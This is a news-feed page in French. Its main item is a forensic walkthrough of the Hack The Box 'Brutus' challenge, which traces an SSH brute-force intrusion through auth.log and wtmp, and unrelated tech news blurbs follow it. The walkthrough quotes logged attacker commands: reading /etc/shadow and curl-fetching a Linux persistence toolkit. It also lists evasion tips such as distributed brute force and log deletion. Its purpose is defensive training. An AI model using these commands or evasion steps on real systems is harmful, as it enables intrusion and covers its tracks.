Un média israélien a révélé le travail de plusieurs sociétés de logiciel espion pour mettre au point des programmes qui infectent les appareils depuis les pubs en ligne.

I. Présentation

On se retrouve dans cet article pour une nouvelle solution de l'un des challenges d'investigation numérique/forensic nommés Sherlocks et mis à disposition par la plateforme Hack The Box. Dans cet article, nous allons détailler la démarche qui permet de résoudre le Sherlocks Brutus, de difficulté "débutant". Il s'agit d'un challenge très simple fait pour les débutants en cybersécurité qui vise à démystifier le forensic au travers un cas d'usage assez simple, mais tout de même réaliste.

Cet article sera notamment l'occasion de comprendre comment peut se dérouler concrètement une cyberattaque, et quels sont les modes opératoires des attaquants et analystes en cybersécurité. Nous allons plus précisément étudier le cas d'une attaque par bruteforce sur un service SSH et quelques fichiers de logs classiques des systèmes d'exploitation Linux.

Lien du challenge : Hack The Box - Sherlocks - Brutus

Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque le Sherlocks en question sera indiqué comme "Retired".

Retrouvez tous nos articles Hack The Box via ce lien :

• IT-Connect - Articles Hack The Box

II. Découverte de l'archive et des journaux

Dans le cadre de l'investigation, un contexte et une archive sont mis à disposition :

Le scénario du challenge nous apprend qu'un serveur Linux Confluence a été la cible d'une attaque par brute force et que l'attaquant est parvenu à accéder au serveur puis à réaliser des actions sur celui-ci. Notre objectif va donc être d'identifier plus clairement les différentes phases de cette cyberattaque en étant guidé par les questions du challenge.

Si l'on s'intéresse à l'archive "Brutus.zip" téléchargée et décompressée, nous découvrons deux fichiers :

Comme l'indique l'extension ".log", il s'agit de logs, c'est-à-dire des journaux d'évènements.

Les journaux d'évènements, ou "logs", sont des fichiers dans lesquels sont inscrits des informations à propos des opérations menées sur un système, avec des informations techniques et un horodatage, comme : "12/03/2022 12:56 : L'utilisateur john s'est authentifié". Ils permettent d'assurer une traçabilité des évènements et actions dans le temps sur un système et sont utilisés pour du debug, mais aussi pour l'investigation à la suite d'une cyberattaque puisqu'ils permettent de retracer la vie du système dans le passé.

Les fichiers de logs sont en général organisés par périmètre (authentification, application web, etc.) et suivent une structure et un formatage précis.

Ces deux fichiers ont des noms que les habitués des systèmes d'exploitation Linux devraient reconnaitre :

• Le fichier "/var/log/auth.log" est un fichier servant à stocker les évènements relatifs à l'authentification sur les systèmes d'exploitations Linux tels qu'une authentification échouée ou réussie, locale ou distante.
  • Vous pourrez en apprendre plus sur ce fichier dans notre article Linux : qu’est-ce que le fichier /var/log/auth.log ou /var/log/secure ?
• Le fichier "/var/log/wtmp" est également un fichier de log qui vise à garder une trace de toutes les connexions et déconnexions au système. Il utilise un format différent des fichiers ".log", qui sont des fichiers texte et doit être parcouru à l'aide d'une commande bien précise.

Si l'on regarde les premières lignes du fichier "auth.log", on peut notamment y voir des informations concernant les authentifications, tentatives d'authentification et déconnexions sur le système, exemple :

Mar  6 06:31:42 ip-172-31-35-28 sshd[2423]: Failed password for backup from 65.2.161.68 port 34834 ssh2
Mar  6 06:31:42 ip-172-31-35-28 sshd[2424]: Failed password for backup from 65.2.161.68 port 34856 ssh2
Mar  6 06:31:44 ip-172-31-35-28 sshd[2423]: Connection closed by authenticating user backup 65.2.161.68 port 34834 [preauth]
Mar  6 06:31:44 ip-172-31-35-28 sshd[2424]: Connection closed by authenticating user backup 65.2.161.68 port 34856 [preauth]
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: Received disconnect from 65.2.161.68 port 53184:11: disconnected by user
Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: Disconnected from user root 65.2.161.68 port 53184

Passons à présent aux différentes tâches de notre investigation qui nous permettrons d'en découvrir plus sur ces fichiers et quelles informations ils peuvent nous fournir dans le cadre de l'étude d'une cyberattaque.

III. Investigation numérique : le cas Brutus

A. Tâche n°1: Identifier l'adresse IP de l'attaquant

• Énoncé - Task 1 : Analyzing the auth.log, can you identify the IP address used by the attacker to carry out a brute force attack?

D'après le scénario proposé dans le cadre du challenge, le système ayant produit ces logs à subit une attaque par brute force, qui consiste à essayer un très grand nombre de mots de passe pour un même compte utilisateur jusqu'à trouver la bonne combinaison. Parmi les nombreuses informations journalisées dans le fichier "auth.log" lors d'une authentification figure l'adresse IP du client.

Afin d'extraire toutes les adresses IP du fichier "auth.log", nous pouvons utiliser la commande "grep" ainsi qu'une expression régulière qui va extraire toutes les chaines de caractères qui s'apparentent à une adresse IP.

$ grep -oE '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' auth.log  | uniq -c
      1 203.101.190.9
      4 65.2.161.68
      1 172.31.35.28
    210 65.2.161.68

Comme vous pouvez le voir, j'ai également utilisé la commande "uniq" avec l'option "-c" afin qu'elle me sorte le nombre d'occurrences de chaque adresse IP. L'adresse IP "65.2.161.68" sort clairement du lot avec 210 occurrences. Nous pouvons à nouveau utiliser la commande "grep" pour extraire toutes les lignes de log contenant cette adresse IP :

$ grep "65.2.161.68" auth.log         
Mar  6 06:31:31 ip-172-31-35-28 sshd[2325]: Invalid user admin from 65.2.161.68 port 46380      
Mar  6 06:31:31 ip-172-31-35-28 sshd[2325]: Received disconnect from 65.2.161.68 port 46380:11: Bye Bye [preauth]           
Mar  6 06:31:31 ip-172-31-35-28 sshd[2325]: Disconnected from invalid user admin 65.2.161.68 port 46380 [preauth]           
Mar  6 06:31:31 ip-172-31-35-28 sshd[620]: drop connection #10 from [65.2.161.68]:46482 on [172.31.35.28]:22 past MaxStartups             
Mar  6 06:31:31 ip-172-31-35-28 sshd[2327]: Invalid user admin from 65.2.161.68 port 46392      
Mar  6 06:31:31 ip-172-31-35-28 sshd[2327]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68         
Mar  6 06:31:31 ip-172-31-35-28 sshd[2332]: Invalid user admin from 65.2.161.68 port 46444      
Mar  6 06:31:31 ip-172-31-35-28 sshd[2331]: Invalid user admin from 65.2.161.68 port 46436      
Mar  6 06:31:31 ip-172-31-35-28 sshd[2332]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68         
Mar  6 06:31:31 ip-172-31-35-28 sshd[2331]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68         
Mar  6 06:31:31 ip-172-31-35-28 sshd[2330]: Invalid user admin from 65.2.161.68 port 46422

Cela nous donne effectivement des exemples intéressants, comme "Invalid user admin from 65.2.161.68" qui indique qu'une authentification a été tentée depuis cette adresse IP pour un utilisateur "admin", qui de toute façon n'existe pas sur le système.

Lorsqu'un attaquant opère une attaque par brute force sans connaitre de login utilisateur valide sur sa cible, il doit réaliser beaucoup plus de tests que s'il a la certitude de l'existence du compte utilisateur ciblé. Ainsi, son attaque à moins de chance d'aboutir et il a plus de chance de se faire détecter si de tels évènements sont surveillés.

Maintenant que nous avons identifié l'adresse IP de l'attaquant, nous allons pouvoir tenter de mieux comprendre les opérations qu'il a menées.

B. Tâche n°2 : Authentification réussie

• Énoncé - Task 2 : The brute force attempts were successful, and the attacker gained access to an account on the server. What is the username of this account?

La tâche suivante nous demande d'identifier quel compte a effectivement été compromis sur le système grâce à cette attaque. En regardant attentivement les journaux relatifs à l'adresse IP identifiée, nous pouvons voir que certains d'entre eux indiquent "Accepted password", c'est notamment le cas des toutes dernières lignes du fichier "auth.log" :

$ grep "65.2.161.68" auth.log | tail -n 4
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: Received disconnect from 65.2.161.68 port 53184:11: disconnected by user
Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: Disconnected from user root 65.2.161.68 port 53184
Mar  6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2

Ainsi, en faisant un filtre sur le mot "Accepted" grâce à la commande "grep", nous pouvons obtenir toutes les authentifications réussies :

$ grep "Accepted" auth.log 
Mar  6 06:19:54 ip-172-31-35-28 sshd[1465]: Accepted password for root from 203.101.190.9 port 42825 ssh2
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar  6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh

La première authentification réussie par l'adresse IP "65.2.161.68" concerne le compte utilisateur "root". C'est donc le mot de passe de ce compte qui a été découvert via l'attaque par brute force.

C. Tâche n°3 : Date de connexion SSH

• Énoncé - Task 3 : Can you identify the timestamp when the attacker manually logged in to the server to carry out their objectives?

Cette étape nous demande la date exacte de la première connexion réussie par l'attaquant. Nous pouvons cette fois-ci nous intéresser au fichier "wtmp" qui référence les ouvertures et fermetures de session sur un système. La première chose à savoir et qu'il ne s'agit pas d'un simple fichier texte comme "auth.log". Nous devons utiliser un outil capable de lire et correctement formater son contenu pour qu'il nous soit intelligible : la commande "last".

$ last -f wtmp -F
cyberjun pts/1        65.2.161.68      Wed Mar  6 07:37:35 2024   gone - no logout
root     pts/1        65.2.161.68      Wed Mar  6 07:32:45 2024 - Wed Mar  6 07:37:24 2024  (00:04)
root     pts/0        203.101.190.9    Wed Mar  6 07:19:55 2024   gone - no logout
reboot   system boot  6.2.0-1018-aws   Wed Mar  6 07:17:15 2024   still running
root     pts/1        203.101.190.9    Sun Feb 11 11:54:27 2024 - Sun Feb 11 12:08:04 2024  (00:13)
root     pts/1        203.101.190.9    Sun Feb 11 11:41:11 2024 - Sun Feb 11 11:41:46 2024  (00:00)
root     pts/0        203.101.190.9    Sun Feb 11 11:33:49 2024 - Sun Feb 11 12:08:04 2024  (00:34)
root     pts/0        203.101.190.9    Thu Jan 25 12:15:40 2024 - Thu Jan 25 13:34:34 2024  (01:18)
ubuntu   pts/0        203.101.190.9    Thu Jan 25 12:13:58 2024 - Thu Jan 25 12:15:12 2024  (00:01)
reboot   system boot  6.2.0-1017-aws   Thu Jan 25 12:12:17 2024 - Sun Feb 11 12:09:18 2024 (16+23:57)

Ici, l'option "-F" nous permet d'obtenir la date complète de chaque session journalisée. Nous pouvons voir, si l'on regarde les sessions ouvertes par l'adresse IP suspecte identifiée, qu'une première session a été ouverte à 07:32:45 le 06/03/2024.

Un piège de l'exercice était ici de faire le lien entre ces horaires et ceux du fichier "auth.log" et de constater une différence d'une heure entre ces deux formats (pour une raison obscure). La bonne date est donc "2024-03-04 06:32:45".

D. Tâche n°4 : Identification de session SSH

• Énoncé - Task 4 : SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker's session for the user account from Question 2?

Il nous faut à présent identifier le numéro de session SSH associé à cette connexion.

Dans ce contexte, le numéro de session SSH permet de suivre les évènements relatifs à une session dans les journaux dans le cas ou plusieurs sessions apparaissent dans une même plage horaire.

Nous pouvons pour cela utiliser l'option "-A X" de la commande "grep" qui va nous afficher les X lignes après un match par rapport à la chaine de caractères recherchée. Cela nous permet de retrouver la connexion "root" de l'adresse IP "65.2.161.68".

$ grep "Accepted" auth.log  -A 5          
--
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Mar  6 06:31:40 ip-172-31-35-28 systemd-logind[411]: New session 34 of user root.
--
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Received disconnect from 65.2.161.68 port 34782:11: Bye Bye
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Disconnected from user root 65.2.161.68 port 34782
--
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Mar  6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
Mar  6 06:33:01 ip-172-31-35-28 CRON[2561]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar  6 06:33:01 ip-172-31-35-28 CRON[2562]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar  6 06:33:01 ip-172-31-35-28 CRON[2561]: pam_unix(cron:session): session closed for user confluence

Quelques lignes plus loin, nous avons l'information recherchée "New session 34", mais si l'on regarde la ligne suivante et l'horodatage de l'ensemble, on remarque que l'attaquant s'est déconnecté la même seconde, donc immédiatement. Il s'agit donc là de la connexion réussie réalisée par son outil de brute force, et non d'une connexion "manuelle" qui aurait eu un temps d'existence plus long. Là est aussi l'intérêt d'étudier également le fichier "wtmp", qui présente les mêmes informations de manière plus claire. Dans le fichier "auth.log", nous voyons bien que les informations relatives à une seule connexion sont sur plusieurs lignes et séparées par des informations concernant d'autres sessions.

Le second match nous indique une seconde session, qui elle n'est pas immédiatement déconnectée : "New session 37 of user root".

E. Tâche n°5 : création d'un accès persistant

• Énoncé - Task 5 : The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?

D'après l'énoncé, l'attaquant aurait créé un accès dérobé sur le système compromis. À nouveau, l'étude du contenu du fichier "auth.log" nous renseigne sur un évènement de création d'un utilisateur, peu après la connexion de l'attaquant avant le compte "root" :

$ grep "65.2.161.68" auth.log | tail 
Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/group: name=cyberjunkie, GID=1002
Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/gshadow: name=cyberjunkie
Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: new group: name=cyberjunkie, GID=1002
Mar  6 06:34:18 ip-172-31-35-28 useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash, from=/dev/pts/1
Mar  6 06:34:26 ip-172-31-35-28 passwd[2603]: pam_unix(passwd:chauthtok): password changed for cyberjunkie

Il semble donc que l'attaquant se soit créé un compte utilisateur pour pouvoir revenir plus tard sur le système, lui assurant ainsi un accès en cas de changement du mot de passe du compte "root". Le compte ici créé parait donc être "cyberjunkie", l'attaquant est venu s'y connecter juste après l'avoir créé.

$ grep "65.2.161.68" "cyberjunkie" auth.log
[...]
Mar  6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2

F. Tâche n°6 : TTP du MITRE ATT&CK

• Énoncé - Task 6 : What is the MITRE ATT&CK sub-technique ID used for persistence?

Il nous est ici demandé de catégoriser cette opération de l'attaquant par rapport au framework du MITRE ATT&CK. La recherche peut être un peu fastidieuse si vous n'êtes pas du tout familier du framework. On peut déjà orienter nos recherches sur la catégorie "Persistence" qui concerne les opérations menées dans le but de maintenir un accès dans le temps sur un système compromis :

Après avoir parcouru les différents TTP de cette "Tactic", il semble ici que ce soit le TTP 1136.001 qui corresponde le mieux à notre situation :

G. Tâche n°7 : Temps de session SSH

• Énoncé - Task 7 : How long did the attacker's first SSH session last based on the previously confirmed authentication time and session ending within the auth.log? (seconds)

Cet énoncé nous demande de trouver la durée de la session utilisateur en tant que "root". Il faut pour cela se baser sur l'horodatage des journaux d'évènements relatifs à la connexion et déconnexion de cette session :

$ grep -i "session 37" auth.log
Mar 6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
Mar 6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Session 37 logged out. Waiting for processes to exit.
Mar 6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Removed session 37.

Le temps total de la session est de 279 secondes.

H. Tâche n°8 : Commande sudo

• Énoncé - Task 8 : The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?

D'après l'énoncé, l'attaquant a utilisé son compte "cyberjunkie" afin d'élever ses privilèges en tant que "root" sur le système en utilisant la commande "sudo".

La commande "sudo" sur les systèmes Linux permet aux utilisateurs autorisés d'exécuter des commandes avec les privilèges d'autres utilisateurs, généralement "root". Elle permet d'attribuer des sortes de dérogation d'élévation de privilège sur des commandes précises. Certaines dérogations, si elles sont mal définies ou portent sur des commandes "vulnérables" peuvent être utilisées par l'attaquant pour outrepasser le seul périmètre de la commande et obtenir une session en tant que root.

On parle alors de "sudo escape" : T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching

Nous pouvons utiliser la commande "grep" sur le terme "sudo" et repérer rapidement la commande en question :

$ grep "sudo" auth.log 
Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to group 'sudo'
Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to shadow group 'sudo'
Mar  6 06:37:57 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow
Mar  6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar  6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root
Mar  6 06:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
Mar  6 06:39:38 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar  6 06:39:39 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for use

L'attaquant a donc utilisé la commande "sudo" afin de télécharger sur internet un script nommé "linper.sh", que nous pouvons d'ailleurs consulter de nous même : https://github.com/montysecurity/linper :

Il s'agit d'une boîte à outil de persistance ("persistence toolkit") pour les OS Linux, il vise à proposer plusieurs méthodes de persistance pour s'implanter de façon durable sur un système Linux compromis.

IV. Résumé de l'attaque

Au cours de cette investigation, nous avons pu étudier la cyberattaque menée sur notre serveur par un attaquant. Les journaux d'évènements nous ont permis de déterminer qu'une attaque par brute force a été menée sur le service SSH, sans connaissance préalable de comptes utilisateurs existants (mis à part un compte par défaut : "root"). L'opération a permis à l'attaquant de découvrir le mot de passe du compte "root". Compte qui a été utilisé pour créer un compte de persistance ("cyberjunkie") par l'attaquant et ajouter à ce compte un moyen d'exécuter des commandes en tant que root par l'intermédiaire d'une dérogation "sudo".

Cette dérogation a ensuite été utilisée par l'attaquant afin de télécharger le script bash "linper.sh", hébergé sur Github. Pour aller jusqu'au bout de la démarche, voici les TTP (Tactics, Techniques and Procedures) utilisés :

Et voilà ! Nous sommes arrivés au bout de l'exercice d'investigation :

V. Notions abordées

Nous allons à présent mettre en avant les principales notions et apprentissages de cet exercice, aussi bien pour l'attaquant que pour les défenseurs ou l'analyste. Il ne s'agit pas d'un point de vue complet, n'hésitez pas à améliorer ce contenu en donnant votre avis dans les commentaires :-).

A. Côté analyste

Nous avons vu dans cet exercice qu'il est important de se familiariser avec les logs classiques du système d'exploitation que l'on souhaite analyser. Connaitre le rôle et le format des journaux du fichier "auth.log" et les subtilités du fichier "wtmp" (commande "last") nous a permis de rapidement trouver les informations demandées.

Également, disposer d'un jeu de commandes préconçu pour rechercher des informations précises (expression régulière pour les adresses IP) ou faire des statistiques rapidement serait un plus, notamment en utilisant des outils qui permettent de rechercher et utiliser rapidement ces commandes comme "arsenal" :

• Avec arsenal, créez un inventaire de vos commandes Linux favorites et gagnez en efficacité

B. Côté défense

Côté défense, plusieurs bonnes pratiques devraient être mises en place pour se protéger des attaques observées dans cette investigation :

• Il est dans un premier temps recommandé de durcir la configuration SSH avec d'éviter le brute force SSH et d'interdire les connexions SSH en tant que root.
• La mise en place de solutions "tierces" peut aussi être envisagée afin de se protéger des attaques par brute force, cela peut passer par le durcissement de la configuration "pam.d", la mise en place d'un service Fail2Ban ou Crowdsec.
  • Retrouvez nos tutoriels Fail2ban.
  • Retrouvez nos tutoriels CrowdSec.
• Également, il peut être recommandé de durcir la politique de mot de passe de l'utilisateur root, et par extension de l'ensemble des utilisateurs du système concerné. Peu importe la wordlist utilisée, le mot de passe d'un utilisateur privilégié ne devrait jamais s'y trouver, cela indique l'utilisation d'un mot de passe probablement faible.
• Il peut aussi être recommandé de mettre en place des restrictions, voire une interdiction totale d'accès à Internet de la part des serveurs si cela ne répond pas à un besoin justifié (l'application de mises à jour n'en étant pas une, il est préférable de passer par un serveur APT interne et maitrisé). Cela dans le but de bloquer ou ralentir la démarche de l'attaquant lors des opérations d'exfiltration d'informations ou d'import d'outils offensifs.

C. Côté attaquant

L'attaquant aurait, lui aussi, pu améliorer son attaque de plusieurs manières, notamment pour complexifier la tâche de l'analyste ou gagner en discrétion :

• L'attaquant aurait pu étaler son attaque par brute force dans le temps afin de complexifier la tâche d'investigation de l'analyste, qui aurait dû trier des connexions légitimes et les connexions malveillantes. En fonction de la configuration de la journalisation, cela aurait également pu étaler les évènements dans plusieurs fichiers grâce à la rotation des journaux, voire entrainer une suppression au bout d'un certain volume ou ancienneté.
• Un attaquant avec plus de moyens aurait aussi pu distribuer son attaque par brute force depuis plusieurs adresses IP afin de gagner en discrétion. Il aurait lors été plus complexe de faire une corrélation entre différentes tentatives d'authentification. Cela se fait généralement à l'aide de ressources Cloud hébergées dans plusieurs pays ou de botnet loués pour l'occasion :
  • T1583 - Acquire Infrastructure
• Le téléchargement d'une ressource depuis un dépôt GitHub facilite la tâche de l'analyste qui peut rapidement identifier l'outil, son objectif, voir découvrir des éléments de signature lui permettant de le retrouver et le supprimer sur le système. Sans vraiment modifier le script lui-même, l'attaquant aurait pu passer par un serveur web temporaire pour que l'analyste ne puisse pas facilement identifier l'outil et une modification du nom du script afin de gagner du temps sur l'investigation et en discrétion.
  • T1036 - Masquerading
• L'analyse ici menée a été réalisée à 100% grâce aux journaux d'évènements du système lui-même, nous avons notamment pu découvrir les opérations de post-exploitation de l'attaquant (opérations menées après compromissions du système). Une fois les droits root obtenus, l'attaquant aurait pu stopper la production ou l'exfiltration des journaux d'évènements afin de gagner en discrétion au moment de l'attaque et de rendre quasi impossible la démarche d'investigation par la suite. Une simple suppression des journaux locaux aurait été possible grâce aux droits root par exemple. L'effacement des traces et une technique assez classique de post-exploitation par les attaquants réels et leur permet de couvrir toutes les pistes potentielles laissées lors de l'intrusion.
  • T1562.012 - Impair Defenses: Disable or Modify Linux Audit System
  • T1562.003 - Impair Defenses: Impair Command History Logging
  • T1070.002 - Indicator Removal: Clear Linux or Mac System Logs
  • T1070.003 - https://attack.mitre.org/techniques/T1070/003/

VI. Conclusion

J'espère que cet article vous a plu ! Au-delà de la résolution du challenge, il est toujours intéressant de savoir tirer parti de ces exercices pour s'améliorer et en extraire le maximum d'apprentissage. N'hésitez pas à utiliser les commentaires et le Discord pour partager votre avis !

Enfin, si vous voulez accéder à des cours et modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points ) : Tester Hack the Box Academy

The post Hack the box – Sherlocks (forensic) : découverte et solution de Brutus first appeared on IT-Connect.

Certains ordinateurs propulsés par des processeurs Intel de 11ème génération étaient incapables de se mettre à jour vers Windows 11. C'est désormais possible grâce à une correction de bug de la part de Microsoft.

L’article Après plus de deux ans, la mise à niveau vers Windows 11 est enfin possible pour ces PC est apparu en premier sur Tom’s Hardware.

Au travers du Rebel C20, Sharkoon propose un boîtier PC conçu pour une configuration Mini-ITX accompagnée d’une alimentation SFX ou SFX-L.

Cet article Rebel C20 ITX, Un boitier “flux d’air” au format tour ou non a été publié en premier par GinjFo.

Bien qu’abandonné, Windows 7 fait toujours partie du paysage informatique et à la surprise générale une nouvelle build a été publiée.

Cet article Une nouvelle build de Windows 7 est publiée a été publié en premier par GinjFo.

Un média israélien a révélé le travail de plusieurs sociétés de logiciel espion pour mettre au point des programmes qui infectent les appareils depuis les pubs en ligne.

La mission Mars Sample Return prévoit de ramener des échantillons du sol martien sur la Terre. Problème : le plan actuel est trop long et trop cher. La Nasa doit proposer une nouvelle approche, pour tenir correctement les délais et le budget.

Attendu pour le mois d'août, le prometteur Star Wars Outlaws, édité par Ubisoft, est déjà critiqué pour certains choix commerciaux. Dans le viseur, un Season Pass, qui sera visiblement obligatoire pour croiser Jabba dans une mission exclusive.

L'un des prochains épisodes de Doctor Who avec Ncuti Gatwa mettra en scène les Beatles... sans leur musique. Mais ce n'est pas un obstacle pour Russel T. Davies, le showrunner.

[Deal du jour] L'arrivée des beaux jours donne envie de troquer les transports en commun ou sa voiture pour circuler à vélo. Décathlon en profite pour brader quelques modèles de vélo électrique, dont le Riverside 520 E.

À partir de janvier 2025 et dans le but de lutter contre l'envoi de spams, Microsoft va mettre en place une nouvelle restriction sur Exchange Online : une limite de 2 000 destinataires externes par jour. Faisons le point sur ce changement à venir.

Vous n'allez plus pouvoir abuser des ressources d'Exchange Online puisque dans un nouvel article, Microsoft a dévoilé les plans de sa nouvelle limite "External Recipient Rate" (ERR) : "Aujourd'hui, nous annonçons qu'à partir de janvier 2025, Exchange Online commencera à appliquer une limite de 2 000 destinataires externes en 24 heures.", peut -on lire.

Il s'agit d'une sous-limite de la limite globale, visant à limiter le nombre de destinataires externes à votre organisation. Voici ce qu'explique Microsoft dans son article : "Exchange Online applique une limite de taux de réception de 10 000 destinataires. La limite de 2 000 ERR deviendra une sous-limite dans cette limite de 10 000 destinataires."

Cette limite de 10 000 destinataires est indiquée dans la documentation de Microsoft. Elle est identique pour tous les abonnements Microsoft 365 (Business Basic, Business Standard, Business Premium, E3, E5, etc.).

La feuille de route de Microsoft

Pour déployer ce changement, Microsoft a prévu deux grandes étapes :

• Étape n°1 : À partir du 1er janvier 2025, la limite s'appliquera aux boîtes aux lettres Exchange Online, sur tous les nouveaux tenants.
• Étape n°2 - Entre juillet et décembre 2025, Microsoft va commencer à appliquer la limite aux boîtes aux lettres Exchange Online, sur les tenants existants

Autrement dit, si vous utilisez déjà Microsoft 365, vous serez affecté par ce changement entre juillet et décembre 2025.

Si vous avez besoin d'envoyer en masse des e-mails et que cette limitation est un problème pour votre organisation, vous devez vous orienter vers le service Azure Communication Services for Email qui est adapté à cet usage.

Microsoft n'est pas la première entreprise à prendre de nouvelles mesures sur les e-mails sortants : Google l'a fait un peu plus tôt cette année avec une limite à 5 000 e-mails par jour, à partir d'un même compte Gmail.

Source

The post Exchange Online : pour lutter contre le spam, Microsoft va limiter l’envoi de courriels en masse first appeared on IT-Connect.

L'adaptation Fallout, dérivée d'une saga de jeux vidéo très populaire, vient d'être mise en ligne. Et elle est un franc succès critique.

Le conflit entre l'Iran et Israël a éclaté au grand jour au cours du week-end du 14 avril. Elle a aussi été une démonstration de la défense aérienne israélienne : certaines interceptions de missiles balistiques iraniens ont eu lieu au-delà de l'atmosphère.

La future grosse mise à jour de Disney+ intégrerait des chaînes linéaires. Elles diffuseraient du contenu dédié en continu, avec des thématiques comme Star Wars ou Marvel.

Vous en avez marre de jongler avec une multitude d’outils de gestion de paquets sur vos différents systèmes Linux et Unix ? apt sur Debian, dnf sur Fedora, pacman sur Arch, emerge sur Gentoo, pkg sur FreeBSD… Et je ne parle même pas de Homebrew sur macOS ou Scoop sur Windows ! Bref, un vrai casse-tête pour s’y retrouver et se rappeler de toutes les commandes spécifiques à chaque plateforme.

Heureusement, y’a un p’tit dev malin qui a décidé de nous faciliter la vie. Un certain Sigoden a créé upt, pour Universal Package-management Tool. L’idée c’est d’avoir une interface unique pour gérer ses paquets, quelque soit le système utilisé. Sous le capot, upt se base sur le gestionnaire natif de chaque OS mais vous permet d’utiliser une syntaxe commune pour les opérations de base : rechercher, installer, mettre à jour ou supprimer un paquet.

Bon alors techniquement, c’est écrit en Rust donc faudra passer par l’installation de cargo et de quelques dépendances. Mais rassurez-vous, c’est assez simple et bien documenté sur le dépôt GitHub du projet. Une fois que c’est fait, vous pourrez utiliser la commande upt de la même façon sur tous vos systèmes. Voici quelques exemples :

upt update pour mettre à jour le gestionnaire
upt install package_name pour installer un paquet
upt upgrade package_name pour le mettre à jour
upt remove package_name pour le désinstaller
upt search keyword pour chercher un paquet

Plutôt cool non ?

Fini les prises de tête à se rappeler si c’est apt search ou dnf search, pacman -S ou emerge… Maintenant on fait tout pareil avec upt !

Et ça supporte tous les outils suivants sous Linux, macOS, Windows, BSD :

Bon, j’avoue qu’il y a quelques petites limitations. Déjà upt n’est qu’une surcouche, donc il faudra quand même connaître les noms exacts des paquets pour chaque distrib. Pas de nom universel type « python3-dev » qui fonctionnerait sur Ubuntu comme sur Fedora.

Ensuite, si un même paquet est dispo dans plusieurs formats (deb, snap, flatpak…), upt va suivre un ordre de priorité pour choisir lequel installer. Mais vous pouvez outrepasser ça en définissant la variable d’environnement UPT_TOOL avec le nom du gestionnaire souhaité.

Par exemple, pour forcer upt à utiliser les paquets snap pour VLC plutôt que apt ou autre :

export UPT_TOOL='snap'
upt install vlc

Dernier point, certaines commandes un peu plus avancées ne seront pas gérées directement par upt. Il faudra alors repasser par le gestionnaire natif. Mais pour une utilisation basique au quotidien, ce petit outil vous fera gagner pas mal de temps et de neurones.

Après, je dis pas que c’est la solution révolutionnaire qui va unifier une bonne fois pour toutes le monde des paquets sur Linux et Unix. Y’a encore du taf pour ça. Mais en attendant, upt est bien pratique pour ceux qui doivent régulièrement passer d’un système à l’autre.

